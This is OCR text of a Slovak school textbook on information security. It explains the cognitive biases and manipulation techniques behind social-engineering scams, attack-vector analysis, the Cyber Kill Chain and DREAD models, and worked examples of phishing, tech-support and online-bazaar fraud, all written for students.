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Uvod

Drzite v rukdch tretiu cast nasSej ucebnice informacnej bezpecnosti urcenej pre
stredné odborné skoly a gymnazid. Tato cast prindSa v prvom rade rozsirenie
informacii o dynamicky sa rozvijajucich rizikach, akymi st metddy socialnej
manipuldcie a na tychto metédach postavené titoky.

Na predoslé dve casti nadvizuje ucebnica radom dalSich tém potrebnych pre
pochopenie kontextu kybernetickej bezpecnosti v rozsahu, ktory autori povazuju za
potrebné pre cyklus uéebnic. Medzi dominantné témy, ktoré si ddvame za ciel naucit
Citatela, patri problematika riadenia rizik. Zna¢nui cast ucebnice tieZ venujeme
vysvetfovaniu problematiky cloud technoldgii, samozrejme, so zretefom na
bezpecnost. Délezitou témou, v ktorej prehlbujeme znalosti ziskané z predoslych
ucebnic, je téma aplikacnej bezpecnosti.

Narast aplikacii umelej inteligencie (Al) v praxi a s fiou spojenych rizik tplne
prirodzene zakotvil aj v nasej ucebnici, kde sa venujeme detailnému vysvetlovaniu
principov Al, ako aj rizikdm vyuzivania tychto technoldgii.

Verim, v mene autorského timu, ako aj nasho OZ ako vydavatela, Ze tretia cast
ucebnice bude dostojnym pomocnikom slovenského sSkolstva pri zvysovani
kompetencii v témach informacnej a kybernetickej bezpecnosti Studentov,
pedagogov a verejnosti.

Vdaka patri autorskému timu, ktory obetoval svoj dobrovolnicky cas na napisanie
tejto obsahovo nasytenej casti. Osobitné podakovanie patri Ing. Borisovi Mutinovi,
ktory k tvorbe obsahu ucebnice prispel svojimi cennymi radami.

Ing.Jaroslav Oster

Predseda spravnej rady OZ Preventista — zdruZenie pre bezpecnost a prevenciu
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Pri praci s vypoctovymi prostriedkami sa musime spravat velmi obozretne. Vo
svojich zariadeniach mame data, ktoré potrebujeme pre zivot. Mame tam zaktipené
aplikacie, cez ktoré komunikujeme, pracujeme a hrame sa. V minulych dieloch
ucebnice sme si vysvetlili, ako sa spravat na internete, ako si chranit svoje data
a zariadenia a predstavili sme si systém noriem ISO 27000 a spdsob, ako ndm normy
pomozu.

Okolo nas ma takmer kazdy v ruke mobil. Sme pripojeni na internet prakticky cely
den a stav, Ze nemame internet, chapeme ako hrozbu. S nasimi blizkymi sme sa
pripojili do internetu a pouzivame ho na zabavu a ziskavanie informacii. Existuju
tiez skupiny l'udi, ktori internet pouzwa]u ako zdroj SVO]ICh prijmov, napriklad
vytvaraji nové webové stranky, napliaji ich a zverejiiuji. Dalsia skupina Tudi
pracuje s reklamou.

Na internete sa vSak pohybuje aj ina skupina I'udi, ktora internet a sluzby pristupné
na nom zneuzivaju. Vyuzivaja ho na vymenu informacii o réznych nebezpecnych
aktivitach. Snazia sa ziskat aktuikol'vek sikromnu vec, s ktorou sa da vydierat alebo
manipulovat. Zaroven sa snazia oklamat inych pouzivatelov internetu a ziskat od
nich platobné a osobné tidaje. Podvodnici vyuzivaju vSetky mozné kandly na
komunikdaciu: email, SMS, chat, chat v hrach, ¢okol'vek, na ¢o moZe obef reagovat
a kadial m6Ze komunikovat.

Policia upozornuje na podvod pri aplikacii Vinted.
Namiesto 25 eur odislo z actu 12 000

27.02.2023 | Intemet | mk | ® podvod, Vinted

Obr.: Priklad upozornenie na podvodné konanie na webovych strdnkach.!

! Policia upozornuje na podvod pri aplikacii Vinted. Namiesto 25 eur odislo z t¢tu 12 000

Dostupné online [1.11.2023] https://www.omediach.com/internet/24297-policia-
upozornuje-na-podvod-pri-aplikacii-vinted-namiesto-25-eur-odislo-z-uctu-12-000
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Téme socidlneho inzinierstva (napr. manipulativnych technik) sme sa vo velkom
rozsahu venovali v predchadzajicich dvoch dastiach nasej ucebnice. Utoky
postavené na tychto metddach maji za niekolko poslednych rokov dynamicky
vyvoj z hladiska ich poc¢tu, mnozstva obeti, vysky ekonomickych $kod, ako aj
z hladiska technik pouZzivanych tto¢nikmi. Preto je potrebné tejto problematike
venovat pozornost aj v tejto ucebnici.

Zakladné pojmy, suhrn predoslych znalosti

»Socidlne inzinierstvo je jednym z najnebezpecnejsich sposobov titoku, napriek
tomu, Ze nevyzaduje velké technické zrucnosti, je zamerané na ¢loveka. Heker
vyuZiva inteligenciu a znalost osobnosti ¢loveka.” 2

V predchadzajicej vete st zhrnuté hlavné hrozby socidlneho inZinierstva. Spojenie
netechnickych a pridanie technickych zru¢nosti do jedného ttoku je vel'mi efektivne.
Toto spojenie paralelne vyuziva vedomosti, data a znalosti oklamaného. Obet
uvedend do klamstva a nevedoma realneho zameru kona presne to, o chce titocnik.
V niektorych pripadoch sa stane obet atoénikovou prediZenou rukou. O tychto
pripadoch si este povieme.

Podvody socidlnym inzinierstvom st velmi efektivne. Pripomernime si, preco je titok
podvodnika taky efektivny. Ako je mozné, ze podvodnik dokaze oklamat cloveka?
Podvody, ktoré vyuzivaju socialne inzinierstvo, sa zameriavaju na manipulovanie
Iudi. Toto manipulovanie je zamerané na bezny zivot cloveka a jeho zdkladné
vlastnosti. Paradoxom je, Ze ide o kognitivnu chybu tsudku, casto ide o dobré
zamery cloveka, ktoré st1 zneu zité na negativne konanie. Vyhodou pre ttocnika je,
ze par klikmi dokaze rozposlat titok na velké mnozstvo Iudi. Velka cast I'udi titok
okamzite rozozna a komunikaciu zrusi, vymaze alebo nezareaguje na komunikaciu.
Mierenie ttoku na velké mnozstvo ludi zabezpedi, Ze aj pri malej tispesnosti, ktora
casto byva okolo jedného promile oslovenych potencialnych obeti, vie vytvorit
vel'ku skodu, aj bez vacsich vlastnych nakladov.

Rozlisujeme nasledujtice kognitivne chyby tsudku:

e neistota: konanie v ¢asovom strese - ak ¢lovek kona v ¢asovom strese, ¢asto sa
stane, Ze sa chce “zbavit” priciny stresu a potom kona bez zvazovania dosledkov
svojho konania. Jeho jedinou motivaciou je ukoncit stav, ktory vytvara stres.

e netrpezlivost: fudia st asto netrpezlivi, nechcti poétvat zdfhavé vysvetlovanie
a zdfhavé popisy réznych situacii. Ak ttoénik za¢ne nekoneéne dlho popisovat
situdciu okolo utoku alebo podvodu, jediné, ¢o chcd, je rychlo ukoncit takuto
komunikaciu za kazda cenu.

o nesustredenost: doba, ktort1 Zijeme, je extrémne rychla, po jednej tilohe pride
dalsia a po nej dalsia. Zaroven sa chceme zabavat a nie riesit zachranu Iudstva,
problém s platbou alebo aktkol'vek int1 tlohu.

2 Zeman, M. (2019): Odborna prirucka pre ucitela, Podporna literattra pre didaktiku
informacnej bezpe¢nosti pre 5 roénik ZS; Preventista.sk; ISBN: 978-80-972100-2-1. str. 23
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e multitasking: predchadzajiici bod by sme mohli spojit aj s vlastnostou

vykonavat viacero cinnosti naraz, z ¢oho moéze vyplynut nedostatocné
sustredenie sa na konkrétnu ¢innost.

dévercivost: naucili sme sa verit technike; systémy predpovedaji pocasie,
bankové aplikacie spravujui nase peniaze, ucime sa z dat na wikipédii. Naucili
sme sa, ze aplikacie nas neklamt. Ak pride sprava cez aplikaciu, potom je vel'mi
lahké jej uverit.

I'atost: [udia st prirodzene nastaveni pomdhat inym [udom, predovsetkym ak
ide o deti alebo o starsich I'udi, ktori zazili za svojho zivota vela zlého. Ludia
chch pomodct inym udom a ulah¢it im Zivot, zachranit dals$i Zivot. Takto
nastavenému cloveku staé¢i pontiknut srdcervici pribeh a ttocnikovi sadne
nalep, necha sa oklamat.

Podvodnici v klamstve o
synovcovi ziskali 18-tisic eur od
dochodkyne. 63-rocna Zena
bola presvedcena, Ze jej sa to
nemoze stat

17.06.2023 ' 10:15 | Slovensko | Aktudlne sprévy
Aktudlne spravy z lokality Slovensko

Obr.: Priklad podvodu, ked' vitocnik zneuzil dévercivost cloveka, Ze vold so synovcom.?

e laskavost: rovnako ako [utost sa prejavuje aj laskavost. Chceme pomahat

Iudom, chceme zl'ah¢it tazka Zivotnt situaciu a pohladenie je vnimané ako malo
Casty prejav vdaky.

zvedavost: uz si ani nevieme predstavit, Ze by sme o niecom nevedeli. Na
socialnych sietach sledujeme kamaratov, znamych a celebrity. Podcasty a videa
nés prenasajti do dalekych krajov. O vietkom vieme. Co ak nam vsak tGtoénik
prezradi nieco, ¢o zatial nevie nikto? Odolali by sme?

ochota pomahat: od utleho detstva sme sa naucili pomahat: najprv sme
pomahali v skolke ucitelom, neskdr sme doucovali a pomahali spoluziakom.
Pomahame stistavne doma. Co ak budeme mat moZnost pomdct aj cudziemu
cloveku mozno len malou sumou penazi?

podpora vztahov: uz sa poznam a priatelim so vSetkymi spoluziakmi z celého
ro¢nika. Poznam cely moj tim aj s rodinami zo $portového klubu. Utoénik mi
prave povedal, Ze ma mo6ze zoznamif aj s triedou zo susednej Skoly. Bol by som
prvy, kto pozna susednt skolu. Chce sa s nami rozpravat niekto, kto je prilis

3

Podvodnici v klamstve o synovcovi ziskali 18-tisic eur od dochodkyne. 63-ro¢na Zena
bola presvedcena, Ze jej sa to nemdze stat Dostupné online [1.11.2023] https://sita.sk/
podvodnici-v-klamstve-o-synovcovi-ziskali-18-tisic-eur-od-dochodkyne-63-rocna-zena-
bola-presvedcena-ze-jej-sa-to-nemoze-stat/
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atraktivny, az sa zdd, ze som vyhral jackpot, Ze sa ozval prave mne. Je
prirodzené, ze chceme budovat aj takéto vztahy.

e podvolenie sa autorite: dostal som e-mail od otca, mdm mu poslat ¢islo svojej
Studentskej karty, datum expiracie a CVV kod. Otec ma cely zivot vychovaval,
naucil som sa ho pocuvat, takZze predtym, ako mi len napadne spochybnit
identitu odosielatela mailu, chcem rychlo vyhovief otcovej poziadavke.

e ochrana svojej beztthonnosti: o pravidlach sa uc¢ime uz od malic¢ka: ako sa
spravat pri stole, ako prechadzat cez cestu, ako sa rozpravat s ludmi. U¢ime sa
zakony a pravidla, kazdy z nds sa snazi zit tak, aby nikomu nerobil zle
a neporusoval pravidld a zékony. Co sa stane, ked nas niekto obvini, Ze sme
nieco zIé urobili, aj ked to nie je pravda? DokaZzeme ostatnych presvedcit, Ze to
je klamstvo alebo sa za¢neme bat o svoju dobra povest?

e obava z désledkov konania alebo nekonania (nieCo som neurobil): vzdy
chceme dodrziavat zakon, chceme sa spravat bezthonne. Toto je vSak velky
zavazok. Vyzaduje uplni pozornost a clovek musi byt stale obozretny.
Predstavte si situaciu, ze mate pocit, ze ste videli odpadnut v dave cloveka
a nepomohli ste mu. Preli ste to ml¢anim. Co sa v8ak stane, ak to niekto videl
a povie to na vés. Co ak vam utoénik pripomenie tito situdciu a bude sa vam
vyhrazat, Ze to o vas rozsiri? Viete si predstavit, Ze sa niekto cudzi dozvie vase
najvacsie tajomstvo?

e dovera v technické vymozenosti a dovera v internetovy obsah/internetovt
komunikaciu: doveru v systémy sme si uz spominali. Ako casto sa vam stalo, ze
prisiel email, ktory bol podvodny a pritom vyzeral ako original? Ako casto sa
vam stalo, zZe ste doma vysvetlovali, Ze sprava, ktort vasi blizki dostali, nie je
origindl, ale perfektny podvod?

e snaha o zlepSenie svojho socidlneho statusu (tzv. pasivny alebo bezpracny
prijem, ponuka na dedicstvo, pracovna ponuka, ponuka na zhodnotenie tspor
a dalsie motivy, vidina rychleho zisku): na Slovensku st, bohuzial, stale [udia,
ktori veria, Ze st potomkovia Japonského princa, Ze dostant balik petiazi od
arabského Sejka alebo sa s nimi rozdeli o svoju vyplatu alebo dedicstvo
kamionista z Nigérie.

Predchddzajice riadky sa venovali ¢innostiam tto¢nikov, ktori sa zameriavali na
zneuzivanie vlastnosti obeti.

Napisme si, aké manipulativne techniky pouzivaju utocnici, aby presvedcili
svoje obete.
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e Silny afekt - itocnici vyuzivaju emocne silno podfarbené slova, ¢asto nadavky
pri komunikacii s obetou. Pocas telefonického rozhovoru kricia na obet a snazia
sa dostat ju do stresu, ¢i neistoty.

e PretaZenie - ttocnici sa neustdlym pradom slov snazia prehlusit myslienky
obete a aj vSetky jej pokusy o obranu. Snazia sa minimalizovat priestor, kedy
potencialna obet moze premyslat nad tito¢nikovov poziadavkou.

e Opitovanie resp. reciprocita - opdtovanie je velmi silny nastroj ttocnika.
Pontikne vam vec, informaciu, ktorti poznate, resp. ani nepotrebujete mat za
cenu, ktora je velmi vysoka.

e Klamlivé vztahy - utocnik v tomto pripade navodzuje atmosféru, akoby
niekoho velmi dolezitého poznal, bol by to jeho kamarat alebo ho dokonca
poslal za obetou, samozrejme s tilohou, Ze obet musi nieco prezradit.

e Rozsirenie zodpovednosti a moralnej povinnosti - tto¢nik sa zameriava na
vyvolanie dojmu, Ze obet musi konat, inak nastane nieco velmi zIé voci dalsim
Iudom, respektive celému spolocenstvu.

e Autorita - ttocnik sa casto stavia do pozicie autority, akoby to bol on, kto to celé
riadi a kto vam prikazuje, ¢o mate robit. Tato technika je casto prepojenad so
silnym afektom (kratkodobou, silnou a prudkou emocnou reakciou), pretoze to
podciarkuje potencialnu dolezitost osoby.

e Spoofing - utocnik maskuje svoju identitu za cloveka, ktorého obet doverne
poznd a doveruje mu.

Priklady 1itokov:

= Predstavte si, Ze mdte nahldsenii pisomku v skole a pride vds spoluZiak s vetou: ak mi
prezradis svoje heslo do pocitala, ja ti prezradim, na ktorii hodinu presunuli pisomku.
Vim je jedno, na ktorej hodine bude pisomnd prdca, kedZe ste sa poctivo pripravovali.
Heslo je ovel'a dbleZitejsie aj pre vds a aj pre titocnika.

[ Musis mi okamzZite poslat svoj tiCet. Ja ti na iicet poslem peniaze a ty to preposles do
Nigérie, lebo ja to poslat nemdzem. Ak to neposles, moja manzelka so styrmi detmi
zahynie od hladu! Toto naozaj chees dopustit’?

= The fake French minister in a silicone mask who stole millions*

Tymito technikami vedia ttocnici zaujat a prebrat vedenie komunikacie s obefou.
Cielom je vytvorit doverné a doveryhodné prostredie pre takuto komunikaciu.
Techniky st orientované na vytvaranie neustaleho tlaku na obet. Spajaju kognitivne
chyby tsudku I'udi s technikami socidlneho inZinierstva. Nie su to jediné techniky,
ktoré tto¢nici pouZivajt, ale urdite st najcastejsie. Uto¢nici pravidelne vyuZivaja
moment prekvapenia, zmenu témy, zaujimavy pribeh, nové technolégie, a to vsetko
preto, aby cloveka zaujali a vtiahli do témy.

*  The fake French minister in a silicone mask who stole millions [17.1.2024] Dostupné
online: https://www.bbc.com/news/world-europe-48510027
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O\ Vysvetlite, ktoré kognitivne chyby tsudku iitocnici zneuzivajii v jednotlivych
itocnych technikdch.

Utoky vyuzivajice manipulativne techniky

V pripade, Ze utok uz nastal, potrebovali by sme tutok ako taky pochopit
a identifikovat:

o Coje ciefom utoku,
o aké techniky boli pouzité
e a v neposlednom rade aj to, ako sa branit.

& Proces popisujuci, akym spdsobom tutoc¢nici konaji, ako sa skryvaja, co
napadaja a aky je dopad, sa nazyva vektor atoku. V zasade obsahuje vsetky
kroky utocnikov s reakciami obeti aj s dopadmi. Ak vytvarame vektor utoku,
tento Casto obsahuje nielen popis krokov ttocnika, ale aj napravné opatrenia,
ktoré sme ako reakciu na ttok prijali na zniZenie dopadu.

Analyza Gtoku sa sklada zo zakladnych krokov:

e analyza prostredia, na ktoré je nasmerovany utok,

e rozoznanie prevedenia utoku (analyza utoku a identifikdcia zneuzitych
zranitelnosti),

e identifikacia dopadu ttoku (zoznam nasledkov a urcenie $kod).

Analyza obvykle obsahuje aj kroky na zniZovanie dopadu ttoku:

e navrhnutie a implementovanie ochrany (detekcia, vzdelavanie,...),
e kontrola funkcénosti ochrany.

Jednotlivé kroky je mozné vysvetlovat postupne slovne, po krokoch. Popisanie po
jednotlivych, za sebou nasledujacich, zavislych krokoch sa vola vektor utoku.
Zvycajne sa na znazornenie pouziva grafickd metdda, kde je kazdy jeden krok
znazorneny a popisany v samostatnom bloku. Takéto znazornenie a popisanie je
vhodné na rychle pochopenie, ako ttok prebieha. Nasledne sa kazdy jeden krok
podrobne analyzuje, ako nastal, ako prebehol ako pokracoval, aky mal dopad, ako
sa dal identifikovat v rdmci systémov a ¢o mohla odhalit obet.

Kazdy utok sa skladé z faz a tieto fazy sa nasledne podrobne analyzujd, ako boli
vykonané, ¢o bolo ich sticastou, akti metddu titoénik pouzil.

Pripravna faza:

. . . , Priprava
Vytvorenie Vytvorenie Vytvorenie Priprava p
. , . g socialnych
web stranok pribehu emailu komunikacie sieti
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Startovacia faza

Rozposlanie emailu

Kampan v socidlnych
sietach

Telefonovanie
potencidlnym obetiam

Ziskavanie dat

Vyziadanie osobnych Vyziadanie platobnych Vyziadanie bankovych
udajov udajov udajov
Zneuzitie dat
Vykonanie podvodnych Predaj Vytvorenie
transakcii ziskanych tdajov bielych koni

Ukoncenie incidentu

Vyber peniaznych
prostriedkov
z bankomatu

Prenesenie zisku
do kryptomien

Zneuzitie bieleho
kona v budiicnosti

Ukdzka jednotlivych faz titoku, ktory bol prevedeny pomocou technik socidlneho
inZinierstva

Ked sa informacny systém nasadi do produkcie, robi sa na nom vela testov.
Niektoré kontroluju funkcnost systému ako takého. Napriklad, ak si organizacia
vytvorila novt aplikdciu na objednavanie obedov, jedna sa o overenie, ¢i tato
aplikdcia pracuje podla Specifikdcie. To znamena, Ze tester kontroluje, ¢i je mozné sa
do aplikdcie prihlasit a objednat si jedlo. Iné poziadavky st nefunkéné. Sem v zasade
patria poziadavky, ktoré si organizacia pre podporu svojich tiloh neobjednala, ale sti
nevyhnutné pre bezpecné fungovanie aplikacie. Prikladom je logovanie, riadenie
pristupov pouzivatelov, Sifrovana komunikacia a iné. Logovanie a riadenie
pristupov st podstatnym zdrojom informacii pri analyze ttoku. Kazdy
programator musi dbat na kvalitné logovanie aplikdcie, aby bolo zrejmé, ¢o sa
v aplikdcii deje a ¢o uZivatelia presne robili a kedy a s akym vysledkom.

Prejavy utoku

Utoky socidlneho inZinierstva nebyvajii zamerané len na fyzické osoby. Mozu byt
namierené aj na zamestnancov s cielom zautocit na organizaciu, v ktorej pracuju.
V takychto pripadoch casto byvaju sucastou komplexnejsieho ttoku, kde prvym
krokom je cez zmanipulovaného zamestnanca ziskat pristupové udaje alebo dostat
do internej infrastruktary skodlivy kod.
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V scendri ttoku na firmu sa zdkladné prejavy ttoku vacsinou objavia v prevadzke
informacnych systémov. Pouzivatel moze identifikovat prefazenie pocitaca,
nedostupnost systémov alebo vypadok osobného pocitaca, cudné spravanie mobilu
¢i nedostatok financii. Organizacia ma rozsirené moznosti analyzy vzhladom na
vyskoleny persondl IT, rovnako ma rozsirené moznosti bezpecnosti, ako aj
bezpecnostné nastroje. Mozu identifikovat problém na hrani¢nych sietovych
zariadeniach ¢i prefazenie na pocitacoch, pretoze odpovedaju alebo Siria ttok.
Rovnako mozu identifikovat ttok aj na serveroch. Mozu identifikovat problém
v komunikdcii na sietach. Na tieto identifikacie staci administrator a centralny
logovaci systém. Niektoré logovacie systémy obsahuju behaviordlny modul.
Behavioralny modul je modul, ktory sa u¢i, ako bezne pracuju zariadenia, a potom
na zaklade zmeny spravania upozornuje na mozny prienik ttocnika. Najtazsie je
identifikovat problém priamo v aplikacii. To nastava vtedy, ak sa titocnik dostane az
do aplikacie a zacne menit jej nastavenia. V takom pripade je nevyhnutné
analyzovat problém s kazdym, kto sa zaobera spravou a riadenim danej aplikdcie.
Potrebujete  administratorov = zodpovednych za systém, administratorov
zodpovednych za aplikaciu, vlastnika aplikdcie z pohl'adu biznisu, ktory vie, ako ma
systém fungovat, odbornikov na komunikdciu, bezpecnostnych analytikov
a testerov. Vsetci musia spolupracovat, aby nasli najlepsie rieSenie, ako odhalit
a nakreslit vektor utoku.

(\?} Nakreslite vektory titokov pre titoky typu smishing, baiting a Skodlivy kéd stiahnuty cez
emailovu linku.

Pri analyzovani ttoku je vitanym pomocnikom mat urobenti analyzu hrozieb.
Existuje niekolko typov analyz hrozieb, ktoré sa delia podla spdsobu, ako pristupuje
analytik k hrozbdm a systémom, na ktorych hrozby sa nachadzajti. Analyza hrozieb
je proces, ktory pre kazdy IT prvok v procese identifikuje vSetky hrozby, pricom sa
zameriava na ciele, motivacie ttocnikov a zranitelnosti jednotlivych zapojenych
prvkov. Predstavme si niektoré procesy, ktoré ndim pomozu urobit analyzu hrozieb:

Cyber kill chain

Systém, ktory popisuje zoznam krokov utocnika, ktoré musi podniknut, aby
dosiahol svoj ciel:

o Prieskum: titocnik si vyberie ciel a zacne ziskavat vsetky udaje, ktoré potrebuje.
Zistuje o obeti vSetky mozné technické aj netechnické tidaje. Napriklad: kto
pracuje na uctovnom oddeleni, kto je vedtuicim tctovného oddelenia a kto je
$éfom organizacie. Nasledne ttocnik vie vyskladat ttok, v ktorom pracovnik
uctovného oddelenia dostane podvodny email od tto¢nika. Cielom prieskumu
je spoznat prostredie, aby bol email ¢o najviac uveritelny. Utoénik zistuje, ako
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ma Standardny dizajn takéhoto emailu v danej organizacii vyzerat, kto by ho
mal poslat, aby pokyn vykonal pracovnik ihned bez dodato¢ného overovania.
Celé to musi vyzerat uveritelne. Prieskum je potrebny na to, aby bolo mozné
v ¢o najvacsej moznej miere vyuzit kognitivne chyby tsudku.

e Priprava: utocnik sa po vybere ciela a spoznani pozadia technického aj
netechnického potrebuje pripravit na utok. Napriklad vytvori alebo kupi od
inych tito¢nikov skodlivy kdd a pripravi ho na prienik do organizacie.

e Dodanie: tto¢nik vyberie sposob, ako dodat skodlivy kod do organizacie.
Napriklad ho méze ulozit na USB kla¢ a podhodi ho v cielovej organizacii, na
ktort chce ttocit (atok typu baiting). V inom pripade si uto¢nik najde zoznam
zamestnancov organizacie na socidlnych sietach a posle im email alebo SMS
s linkou na skodlivy kéd s pribehom, aby to otvorili (Phishing, smishing).

e Exploitacia: ttocnik sa snazi zneuzit zranitelnost na koncovom systéme.
Napriklad pri priprave zistil, Ze obet pouziva jeden operacny systém, staci
nasledne len sledovat na darkwebe, ¢i neexistuje Zero Day zranitelnost a tu
zneuzit vo svojom skodlivom kode.

e Instaldcia: v tomto pripade hovorime o samotnej instalacii skodlivého kédu na
koncovom zariadeni. Velké percento organizacii ma zakazané instalovat
a spustat nové aplikacie. Vzdy sa da najst sposob, ako tento zakaz obist, preto je
potrebné prisne kontrolovat sptistanie vsetkych programov.

e Ovladanie a riadenie: ak je skodlivy kéd nainstalovany, potrebuje ho tto¢nik
zacat riadit a toto je faza, ked sa Skodlivy kod pripaja do uto¢nikovho centra.

o Akcie utocnika: v poslednej faze je skodlivy kod prepojeny s ttocnikovym
centrom. Znamena to, ze udaje prechadzaji medzi napadnutym systémom
a ttoénikovym systémom. Utoénik zdroven modze posielat aj prikazy na
podvodné konanie. Vysledkom je, Ze administrator organizacie nema tplnu
kontrolu nad riadenim systému.

Systém Cyber kill chain je pre nas dolezity z dvoch dovodov. Po prvé, je to perfektny
postup, ako sa vzif do role itocnika a aj obrancu. Nésledne sa d4 rychlo vymysliet
vektor utoku. Pre obrancu moze takyto vektor sltzit ako pomocka, pretoze sa musi
zamysliet nad vSetkymi moznymi fazami a ttokmi, ktoré hrozia konkrétnemu
aktivu. Nasledne pre kazdy jeden z krokov titoku musi vymysliet ochranu.

(\D} Zamyslite sa nad potencidlnym titokom na vasu skolu a popiste ho v jednotlivijch
krokoch podl'a Cyber kill chain.

Dread

Dread nazera na kazdu hrozbu cez negativnu aktivitu, ktort vytvara ttocnik v danej
Casti utoku. Nasledne klasifikuje riziko vzhladom na jednotlivé nebezpecenstva.
Tento model je vstupom do analyzy rizik, ktoré si blizsie predstavime v kapitole
Riadenie rizik.

Potencial poskodenia (Damage) - Ako velku skodu moze skodliva aktivita urobit?

Reprodukovanie (Reproducibility) - Ako l'ahko je mozné reprodukovat titok?
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Schopnost exploitacie (Exploitability) - Ako I'ahko je mozné urobit atok?

Postihnuti pouzivatelia (Affected users) - Kolko pouzivatelov je mozné utokom
zasiahnut?

Odhalitel'nost (Discoverability) - Ako I'ahko je mozné odhalit Skodlivt aktivitu?

Kazdej kategodrii sa prideli hodnotenie od 1 do 10 (1 je najmensia uroven, 10
najvacsia, podla pravidiel v organizacii) a vysledna hodnota rizika je definovana ako
priemer hodnoteni. Z nasho pohladu je to spdsob hodnotenia rizik, pri ktorom, ak
mame velmi nebezpecnti Cast itoku, moze tato v matematickom zhodnoteni ahko
zaniknat, ak ostatné casti atoku st ohodnotené nizko. Stane sa priemerne
hodnotenym rizikom. Na druhej strane je toto hodnotenie velmi efektivne
a vyhladavané, pretoze ziskavame zoznam rizik a zranitelnosti, z pohladu tito¢nika.

\®_} Organizidcie casto vyuZivajii na modelovanie hrozieb metodiku STRIDE. Vysvetlite,
z akych slov sa skladd ndzov metodiky.

Dopad utoku

Kazdy 1utok, ktory sa tyka informacnej bezpecnosti, ma niekol'ko typov dopadov na
organizaciu alebo obet. Zameriame sa na utoky na konkrétnu osobu. Budeme
rozliSovat tieto zakladné dopady:

Ekonomické - Gtok ma priamy dopad na finan¢na stranku obete, ktora pride
0 peniaze a nasledne sa boji o svoju financnt situaciu.

Personalne - obef sa mdze citit v ohrozeni, prestane pouzivat technoldgie, nikomu
neveri, celkovo sa kvalita Zivota obete vyrazne zhorsi.

Socialne - niekedy sa obet dostane na okraj spolo¢nosti a nie je akceptovana
povodnou skupinou a kamardtmi, pretoZe st ovplyvneni ttokom. Casto
neakceptuji moznost, ze by obet mohla podlahntt ttoku socidlneho inzinierstva
a odsavaju ju druhotne, nazeraji na obet ako na nevhodnu na vratenie sa do
povodnej spolocnosti.

Priklady utokov

Phishing

Je utok, ktory je primdrne orientovany na komunikaciu cez email. V ramci takejto
komunikacie je potencidlnej obeti dorucena sprava. Sprava obsahuje klamlivé
a manipulativne informadcie. Touto spravou chce tito¢nik docielit, aby obet vykonala
akciu, o ktort ma utoénik zaujem. Modze to byt napriklad kliknutie na odkaz
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a vykonanie tito¢nikovej instrukcie. Cielom moze byt ziskanie idajov k platobnej
karte alebo pristupové tidaje k bankovym aplikaciam, ako je mobil banking alebo
internet banking. Utoénik sa ¢asto zaujima o meno, priezvisko, adresu alebo iné
osobné udaje klienta.

Ako rozoznat podvodny email? Tu st niektoré kontroly, ktoré je mozné
vykonat:

e email alebo linka v nom priloZena pozaduje zadat udaje z platobnej karty
alebo prihlasovacie tidaje do internet bankingu. Formular na vyplnenie sa
modze nachadzat na webovej stranke, ktora sa dizajnovo podoba na realnu, ide
vSak o podvodnu stranku,

o http adresa nie je adresou skutocnej stranky, na ktorej by ste mali aktivitu
vykonat (napr. vasej banky), ale je ind alebo skomolena (obsahuje minimalne
rozdiely),

e email vyvolava pocit naliehavosti alebo dolezitosti,

e emailova sprava sa snazi vyvolat silnti emdciu.

e odosielatel emailu nie je z domény vasej organizacie.

@ Identifikujte 3 uidaje, ktoré sii ddleZité pre uitocnika, aby vam mohol zneuZit kartu.

@ Zistite na internete a vysvetlite, aky rozdiel je medzi phishingom a titokmi: vishing
a smishing.

SCAM

Co urobite, ak vam zavold ttoénik a predstavi sa ako podporny pracovnik
spolocnosti, ktora chrani miestnu nemocnicu, ministerstvo alebo je to podpora
vasho pocitaca a oznami vam, Ze vas pocita¢ tto¢i na nemocnicu? V nemocnici
nemozu vykonavat operacie, ministerstvo zavolalo policiu a k vam pride policia,
aby vas konfrontovala so vzniknutou situaciou prostrednictvom véazobného
stihania. Jedinym rieSenim, podla tito¢nika, je pustit ho vzdialene na vas pocitac, on
to rychlo opravi a vy budete mimo ohrozenia. Vyjazdova policajna skupina sa vrati
naspat na policiu, nemocnica stiahne trestné oznamenie a dokonci v pokoji operaciu
a vas zivot sa vrati do beznych kolaji.

Samozrejme, ze tento pribeh je klamlivy a po tom, ako pustite titocnika do pocitaca,
automaticky sa vam dori infiltruje. Standardom je, Ze vdm nainstaluje malvér na
pocitac, napr. keylogger, ktory bude zaznamenavat udaje, ¢o ste napisali, urobili
a kam mate pristupy. Tieto tidaje bude malvér posielat titocnikovi na command and
control server.

[ Prikladom SCAMu je vydavanie sa za technickd podporu Microsoft’.

(?_} Vysvetlite, ako funguje keylogger a ktoré typy softvéru sa dajui pouZit oficidlne na
vzdialenti sprdvu pocitaca a ako.

> https://support.microsoft.com/en-us/windows/protect-yourself-from-tech-support-
scams-2ebf91bd-f94c-2a8a-e541-f5c800d418435
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Podvody na online bazaroch

Velmi castym nebezpecenstvom byvaju aktivity podvodnikov na online bazaroch. Je
bezné, ze ak chce osoba predat ¢okol'vek, velmi rychlo ju oslovia podvodnici, ktori
sa tvaria, Ze maju zadujem o nadkup. Prijmu tovar za kazda cenu. Hlavne s tym, Ze
tovar potrebujii okamzite. Dalsim znakom je, Ze smerujti komunikéciu z prostredia,
ktoré poskytuje samotna bazarova platforma do roznych cetovacich aplikacii, ktoré
sa nedaju bazarom kontrolovat. Ak im pontknete moznost, Ze im osobne donesiete
tovar, nikdy sa s vami nechc stretnut.

Poslednym krokom v tomto pripade je, Ze obet je poziadana o zaslanie ¢isla tuctu aj
so vSetkymi tidajmi na prihldsenie sa do internet bankingu alebo o zaslanie ¢isla
karty s datumom expiracie a CVV kdédom. Je potrebné si aj v tejto situdcii zachovat
chladnti hlavu a uvedomit si, Ze ak nam ma niekto poslat peniaze, nepotrebuje
vsetky tdaje platobnej karty ani prihlasovacie tidaje do internetového bankovnictva.
Na to, aby mohol clovek dostat peniaze, staci zaujemcovi o konkrétny tovar poslat
¢islo uctu v tvare IBAN alebo ¢islo karty. Samostatné cislo uctu alebo samostatné
dislo karty nie je mozné jednoducho zneuzit.

(\9} Ndjdite na internete, co znamend skratka IBAN a aké obsahugje casti.

Nepokazte si sviatky nakupmi na internete
o Zuzana Ziaranova,

Vianoce sa nezadrzatelne blizia a spolu s nimi aj hektické dni piné
nakupovania daréekov. Zaroven je to skuska vasej ostrazitosti a ak si nedate
pozor, rychlo naletite podvodnikom.

Obr.: Cldnok o podvodnikoch pri online nakupovani®

Podvodné burzy

Tak ako rychlo vznikol boom s kryptomenami, ktorych cena rastla zo diia na den,
takto isto titoc¢nici robia reklamu na podvodné kryptomeny, kryptoburzy a sluzby
